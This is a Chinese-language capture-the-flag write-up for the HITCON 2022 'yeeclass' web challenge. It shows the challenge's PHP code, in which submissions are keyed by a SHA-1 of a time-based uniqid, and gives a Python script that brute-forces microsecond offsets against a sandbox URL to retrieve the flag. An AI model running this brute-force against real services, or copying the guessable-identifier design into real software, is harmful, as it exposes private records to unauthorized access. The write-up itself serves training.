Skip to content
On this page

INFO

2022-HitCon-Web-yeeclass

1、思路

本地部署:sudo docker-compose buildsudo docker-compose up

(1)init.sql 创建表:homework、user、submission

(2)docker-compose.yml 创建容器

yml
web:
    build:
      context: ./
      # args:
        # TURNSTILE_SECRETKEY: <your-own-key>
        # TURNSTILE_SITEKEY: <your-own-key>
    environment:
      - FLAG=hitcon{not_flag}
    ports:
      - 16875:80/tcp
    depends_on:
      database:
        condition: service_healthy
    entrypoint:
      - bash
      - -c
      - |
        set -e
        echo 'running init.php'
        php -f /tmp/init.php
        rm /tmp/init.php
        
        echo 'initialization done, starting apache'
        exec apache2-foreground

(3)init.php 创建用户 flagholder,密码随机,并提交了一份包含 flag 的作业,其哈希值为变量 id 的 sha1, $id = uniqid($username."_");

php
<?php 

$pdo = new PDO("mysql:host=database;dbname=yeeclass", "yeeclass", "yeeclass");

$username = "flagholder";
$password = base64_encode(random_bytes(40));

echo "Username: $username; Password: $password\n";

// create user
$user_query = $pdo->prepare("INSERT INTO user (username, `password`, class) VALUES (?, ?, ?)");
$user_query->execute(array($username, hash("md5", $password), 0));

// submit flag
$id = uniqid($username."_");
echo $id."\n";

$submit_query = $pdo->prepare("INSERT INTO submission (`hash`, userid, homeworkid, score, content) VALUES (?, ?, ?, ?, ?)");
$submit_query->execute(array(
    hash("sha1", $id),
    $pdo->lastInsertId(),
    1,
    100,
    $_ENV["FLAG"]
));

?>

(4)本地部署的容器输出用户名和随机创建的密码(非服务端),网页端登陆查看提交的 flag 为 hitcon{not_flag} http://challenge-2f05aa9314a37773.sandbox.ctfhub.com:10800/submission.php?hash=6d2fca6a74e7e8c6abf1e6f8bf8c8ecc20015f69

yeeclass-web-1       | running init.php
yeeclass-web-1       | Username: flagholder; Password: dsapiA9cJ/ti0mb/nwrDl7jChTdfoznUyVdTZT95MYIEBxjpLaYf4Q==
yeeclass-web-1       | flagholder_65dca4328cdd1
yeeclass-web-1       | initialization done, starting apache

(5)submission.php 支持

php
if (isset($_GET["hash"]) && $_GET["hash"] != "") {
    // view single submission
    $mode = "view";
    $submission_query = $pdo->prepare("SELECT s.*, u.username, h.name from submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.`hash`=?");
    $submission_query->execute(array($_GET["hash"]));
    $result = $submission_query->fetch(PDO::FETCH_ASSOC);

    if (!$result) {
        http_response_code(404);
        die("Submission not found.");
    }
} else {
    // list submissions
    if (isset($_GET["homeworkid"])) {
      ……
    } else if (isset($_SESSION["userid"])) {
      ……
    } else {
        http_response_code(400);
        die("Insufficient parameters");
    }   
}

2、获取哈希值

哈希值为

php
$id = uniqid($username."_");
hash("sha1", $id)

uniqid

https://www.php.net/manual/zh/function.uniqid.php

uniqid 的生成方式是 {sec:08x}{usec:05x},13 位 16 进制数

带上前缀:

php
<?php
    $username = "test";
    echo uniqid($username."_");
		// test_65dd46ee5dc2a
?>

入库时间

通过 homework 查询 http://challenge-2f05aa9314a37773.sandbox.ctfhub.com:10800/submission.php?homeworkid=1 得到 2024-02-27 10:51:12.808250

爆破时间差

入库时间和 uniqid 由于运行效率,会存在微秒时间差,因而需要爆破该时间差

3、exp

python
import hashlib
import requests
from datetime import datetime


username = "flagholder"

# timestamp => sec, usec
timestamp = "2024-02-27 10:51:12.808250"
dt = datetime.fromisoformat(timestamp)
sec = int(dt.timestamp())
usec = dt.microsecond


# hash(id)
def get_hash(usec):
    id = f"{username}_{sec:08x}{usec:05x}"
    return hashlib.sha1(id.encode()).hexdigest() 


# 爆破时间差
url = "http://challenge-2f05aa9314a37773.sandbox.ctfhub.com:10800/submission.php?hash="
for i in range(0, 1000):
    hash = get_hash(usec-i)
    r = requests.get(url + hash)
    if r.status_code != 404:
        print(r.text)

获得 flag

html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>yeeclass | Submission</title>
    <link rel="stylesheet" href="static/style.css">
</head>
<body>
    <div id="main">
        <header id="header">
            <h1>yeeclass</h1>
            <nav>
    <a href="index.php">[Home]</a>    <div class="right">
            <form action="index.php" method="POST">
            <input type="text" name="username" id="username" placeholder="Username" pattern="^\w{6,20}$" autocomplete="off">
            <input type="password" name="password" id="password" placeholder="Password" autocomplete="off">
            <input type="submit" value="Login/Register">
        </form>
        </div>
</nav>        </header>
        <hr>
                <section id="view">
            <h3>flagholder_Flag <a href="submit.php?homeworkid=1&delete=e23b7340a6cfd1939d4be49af0027620f917f712">[Delete]</a></h3>
            <p>Time: 2024-02-27 10:51:12.808250</p>
            <p>Score: 100</p>
            <pre>ctfhub{b52b822e45e613f4dcbf5f50}</pre>
        </section>
            </div>
</body>
</html>
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>openresty/1.21.4.2</center>
</body>
</html>